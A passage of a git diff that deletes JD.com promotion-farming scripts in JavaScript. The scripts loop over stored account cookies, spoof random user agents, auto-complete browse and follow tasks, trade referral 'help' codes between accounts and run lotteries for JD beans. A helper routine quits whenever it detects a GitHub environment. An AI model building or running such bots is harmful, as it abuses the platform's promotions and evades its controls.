takePostRequest('superBrandTaskLottery');//抽奖 - await $.wait(2000); - } - -} - -async function doTask(){ - for (let i = 0; i < $.taskList.length; i++) { - $.oneTask = $.taskList[i]; - if($.oneTask.completionFlag){ - console.log(`任务:${$.oneTask.assignmentName},已完成`); - continue; - } - if($.oneTask.assignmentType === 3){ - console.log(`任务:${$.oneTask.assignmentName},去执行`); - $.runInfo = $.oneTask.ext.followShop[0]; - await takePostRequest('followShop'); - } - - if($.oneTask.assignmentType === 2){ - console.log(`助力码:${$.oneTask.ext.assistTaskDetail.itemId}`); - $.allInvite.push({ - 'userName':$.UserName, - 'code':$.oneTask.ext.assistTaskDetail.itemId, - 'time':0 - }); - $.helpEncryptAssignmentId = $.oneTask.encryptAssignmentId; - } - } -} - -async function takePostRequest(type) { - let url = ``; - let myRequest = ``; - switch (type) { - case 'showSecondFloorRunInfo': - url = `https://api.m.jd.com/api?uuid=${UA.split(";")[4]}&client=wh5&area=&appid=ProductZ4Brand&functionId=showSecondFloorRunInfo&t=${Date.now()}&body=%7B%22source%22:%22run%22%7D`; - break; - case 'superBrandTaskList': - url = `https://api.m.jd.com/api?uuid=${UA.split(";")[4]}&client=wh5&area=&appid=ProductZ4Brand&functionId=superBrandTaskList&t=${Date.now()}&body=%7B%22source%22:%22run%22,%22activityId%22:${$.activityId},%22assistInfoFlag%22:1%7D`; - break; - case 'superBrandTaskLottery': - url = `https://api.m.jd.com/api?uuid=${UA.split(";")[4]}&client=wh5&area=&appid=ProductZ4Brand&functionId=superBrandTaskLottery&t=${Date.now()}&body=%7B%22source%22:%22run%22,%22activityId%22:${$.activityId}%7D`; - break; - case 'followShop': - url = `https://api.m.jd.com/api?uuid=${UA.split(";")[4]}&client=wh5&area=&appid=ProductZ4Brand&functionId=superBrandDoTask&t=${Date.now()}&body=%7B%22source%22:%22run%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0%7D`; - break; - case 'help': - url = `https://api.m.jd.com/api?uuid=${UA.split(";")[4]}&client=wh5&area=&appid=ProductZ4Brand&functionId=superBrandDoTask&t=${Date.now()}&body=%7B%22source%22:%22run%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.helpEncryptAssignmentId}%22,%22assignmentType%22:2,%22itemId%22:%22${$.code}%22,%22actionType%22:0%7D`; - break; - default: - console.log(`错误${type}`); - } - myRequest = getPostRequest(url); - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - dealReturn(type, data); - } catch (e) { - console.log(data); - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function dealReturn(type, data) { - try { - data = JSON.parse(data); - }catch (e) { - console.log(`返回信息异常:${data}\n`); - return; - } - switch (type) { - case 'showSecondFloorRunInfo': - if(data.code === '0' && data.data && data.data.result){ - $.activityInfo = data.data.result; - } - break; - case 'superBrandTaskList': - //console.log(JSON.stringify(data)); - if(data.code === '0'){ - $.taskList = data.data.result.taskList; - } - break; - case 'superBrandTaskLottery': - if(data.code === '0' && data.data.bizCode !== 'TK000'){ - $.runFlag = false; - console.log(`抽奖次数已用完`); - }else if(data.code === '0' && data.data.bizCode === 'TK000'){ - if(data.data && data.data.result && data.data.result.rewardComponent && data.data.result.rewardComponent.beanList){ - if(data.data.result.rewardComponent.beanList.length >0){ - console.log(`获得豆子:${data.data.result.rewardComponent.beanList[0].quantity}`) - } - } - }else{ - $.runFlag = false; - console.log(`抽奖失败`); - } - console.log(JSON.stringify(data)); - break; - case 'followShop': - if(data.code === '0'){ - console.log(JSON.stringify(data.data.bizMsg)); - } - break; - case 'help': - if(data.code === '0' && data.data.bizCode === '0'){ - $.codeInfo.time ++; - console.log(`助力成功`); - }else if (data.code === '0' && data.data.bizCode === '104'){ - $.codeInfo.time ++; - console.log(`已助力过`); - }else if (data.code === '0' && data.data.bizCode === '108'){ - $.canHelp = false; - console.log(`助力次数已用完`); - }else{ - console.log(JSON.stringify(data)); - } - break; - default: - console.log(JSON.stringify(data)); - } -} - -function getAuthorShareCode(url) { - return new Promise(async resolve => { - const options = { - "url": `${url}`, - "timeout": 10000, - "headers": { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - if (err) { - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(data || []); - } - }) - await $.wait(10000); - resolve(); - }) -} - -function getPostRequest(url) { - const method = `POST`; - const headers = { - 'Origin' : `https://pro.m.jd.com`, - 'Cookie' : $.cookie , - 'Connection' : `keep-alive`, - 'Accept' : `application/json, text/plain, */*`, - 'Referer' : `https://pro.m.jd.com/mall/active/47w2FM3CZDer1C7ASmiehTveqG3d/index.html`, - 'Host' : `api.m.jd.com`, - 'User-Agent' : UA, - 'Accept-Language' : `zh-cn`, - 'Accept-Encoding' : `gzip, deflate, br` - }; - const body = ``; - - return {url: url, method: method, headers: headers, body: body}; -} - -function randomWord(randomFlag, min, max){ - var str = "", - range = min, - arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; - - // 随机产生 - if(randomFlag){ - range = Math.round(Math.random() * (max-min)) + min; - } - for(var i=0; i { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - Host: "me-api.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: $.cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_qcshj.js b/backUp/jd_qcshj.js deleted file mode 100644 index 9d7843e..0000000 --- a/backUp/jd_qcshj.js +++ /dev/null @@ -1,336 +0,0 @@ -/* -入口 京东APP >> 玩一玩 >> 汽车生活节 -https://h5.m.jd.com/babelDiy/Zeus/2FdCyR9rffxKUkMpQTP4WT4bArmL/index.html - - -============Quantumultx=============== -[task_local] -#8.12-8.20 汽车生活节 -30 9,21 12-20 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/jd_qcshj.js, tag=8.12-8.20 汽车生活节, enabled=true - -================Loon============== -[Script] -cron "30 9,21 12-20 8 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/jd_qcshj.js,tag=8.12-8.20 汽车生活节 - -===============Surge================= -8.12-8.20 汽车生活节 = type=cron,cronexp="30 9,21 12-20 8 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/jd_qcshj.js - -============小火箭========= -8.12-8.20 汽车生活节 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/jd_qcshj.js, cronexpr="30 9,21 12-20 8 *", timeout=3600, enable=true -*/ - -const $ = new Env('汽车生活节'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message = '', - allMessage = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -function getUA() { - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} - -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -$.taskVos = [] -$.helpCodes = [] -$.allMsg = '' -$.canLottery = true -appid = "1E1xRy6c" -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - console.log('8月来电好物节') - console.log('截至时间8月20日') - if (new Date('2021-8-20 23:59:59') < Date.now()) { - console.log('下个月更精彩!!') - return - } - getUA() - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.beans = 0; - $.isLogin = true; - $.nickName = ''; - message = '' - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if ($.UserName === 'null') continue; - await main() - if($.beans > 0) $.allMsg += `京东账号${$.index} ${$.nickName || $.UserName}\n获得${$.beans}京豆\n` - - } - } - if($.helpCodes.length > 0) - console.log('=======================================内部好友助力==============================') - //给个好友只能助力3次 - for (let i = 0; i < cookiesArr.length && $.helpCodes.length > 0; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - message = '' - $.canHelp = true - for (let i of $.helpCodes) { - if (!$.canHelp) - continue - if (i.user == $.UserName || !i.id) - continue; - console.log(`${$.UserName} 助力${i.user}`) - await toHelp(i.id) - await $.wait(500) - } - } - } - await showMsg(); -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -function showMsg() { - return new Promise(async resolve => { - console.log('运行完毕') - if($.allMsg){ - $.msg($.name, '', $.allMsg); - if ($.isNode()){ - await notify.sendNotify($.name, $.allMsg) - } - } - resolve() - }) -} -async function main() { - await getHome() - for (let t of $.taskVos) { - if (t.status == 2) - continue - console.log(`开始任务${t.taskName}`) - - if (t.taskType == 3) { - await browse(t.shoppingActivityVos[0].taskToken, t.taskId, 1) - await $.wait(1000) - await browse(t.shoppingActivityVos[0].taskToken, t.taskId, 0) - //todo 浏览关注暂时没做 - } else if ([9].includes(t.taskType) && t.shoppingActivityVos) { - let success = await browse(t.shoppingActivityVos[0].taskToken, t.taskId, 1) - if (success.indexOf('成功') > -1) { - await $.wait(7000) - await browse(t.shoppingActivityVos[0].taskToken, t.taskId, 0) - } else { - console.log('浏览失败') - } - //助力好友 - } else if (t.taskType == 14) { - $.helpCodes.push({ - user: $.UserName, - id: t.assistTaskDetailVo.taskToken - }) - //关注并浏览 - } else if (t.taskType == 1) { - for (let f of t.followShopVo) { - await browse(f.taskToken, t.taskId, 1) - await $.wait(7000) - await browse(f.taskToken, t.taskId, 0) - } - //浏览指定商品 - } else if (t.taskType == 8) { - for (let f of t.productInfoVos) { - await browse(f.taskToken, t.taskId, 1) - await $.wait(7000) - await browse(f.taskToken, t.taskId, 0) - } - } else if (t.taskType == 21) { - //todo 开卡 - } - await $.wait(1000) - } - $.canLottery = true - await getHome(); - while ($.userScore >= 200 && $.canLottery) { - try { - await lottery() - } catch (e) { - console.log(e) - } - await $.wait(1000) - await getHome() - await $.wait(1000) - } -} - -async function getHome() { - return new Promise(async resolve => { - $.post(request("healthyDay_getHomeData", { "appId": appid, "taskToken": "", "channelId": 1 }), - (e, r, d) => { - d = JSON.parse(d) - if (d.data.bizCode == 0) { - //获取任务 - $.taskVos = d.data.result.taskVos - $.userScore = d.data.result.userInfo.userScore - } - resolve() - }) - }) -} - -/** - * 签到 - * - * @returns {Promise} - */ -async function sign(taskToken, taskId) { - return new Promise(resolve => { - $.post(request("harmony_collectScore", { - "appId": appid, - "taskToken": taskToken, - "taskId": taskId, - "actionType": "0" - }), - (e, r, d) => { - d = JSON.parse(d); - if (d.data.bizCode == 0) { - console.log(`签到成功 获取电量${d.data.result.acquiredScore}`) - } - resolve() - }) - }) -} - -/** - * 浏览任务 - * - * @param taskToken - * @param taskId - * @param actionType - * @returns {Promise} - */ -async function browse(taskToken, taskId, actionType) { - return new Promise(resolve => { - $.post(request("harmony_collectScore", { - "appId": appid, - "taskToken": taskToken, - "taskId": taskId, - "actionType": actionType - }), - (e, r, d) => { - d = JSON.parse(d); - console.log(`${d.data.bizMsg}`) - resolve(d.data.bizMsg) - }) - }) -} - -async function toHelp(taskToken) { - return new Promise(resolve => { - $.post(request("harmony_collectScore", { - "appId": appid, - "taskToken": taskToken, - "taskId": 6, - "actionType": 0 - }), - (e, r, d) => { - d = JSON.parse(d); - console.log(`助力结果:${d.data.bizMsg}`) - if (d.data.bizMsg.indexOf("上限") > -1) - $.canHelp = false - else if (d.data.bizMsg.indexOf("满员") > -1) { - for (let i in $.helpCodes) { - if ($.helpCodes[i].user == $.UserName) { - $.helpCodes[i] = '' - } - } - } - resolve() - }) - }) -} - -/** - * 狗命抽奖 - * - * @returns {Promise} - */ -async function lottery() { - return new Promise(resolve => { - $.post(request("interact_template_getLotteryResult", { "appId": appid }), - (e, r, d) => { - d = JSON.parse(d) - if (d.data.bizCode != 0) { - $.canLottery = false - } - let result = d.data.result - if (result.userAwardsCacheDto.type == 0) - console.log('抽个寂寞') - else if (result.userAwardsCacheDto.type == 2) { - $.beans += Number(result.userAwardsCacheDto.jBeanAwardVo.quantity) || 0 - console.log(result.userAwardsCacheDto.jBeanAwardVo) - } else - console.log('没用的优惠券' + JSON.stringify(result)) - resolve(result.userScore) - }) - }) -} - -function request(func, body = { "appId": appid, "taskToken": "", "channelId": 1 }) { - let p = { - "url": `${JD_API_HOST}`, - "headers": { - "Origin": "https://h5.m.jd.com", - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://h5.m.jd.com/babelDiy/Zeus/4BvJGuWhUZkGTF9Z2FryWtrLWbDm/index.html?babelChannel=ttt12&utm_campaign=&utm_source=&utm_term=&utm_medium=", - "User-Agent": $.UA - }, - body: `functionId=${func}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0` - - } - - return p -} - - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete 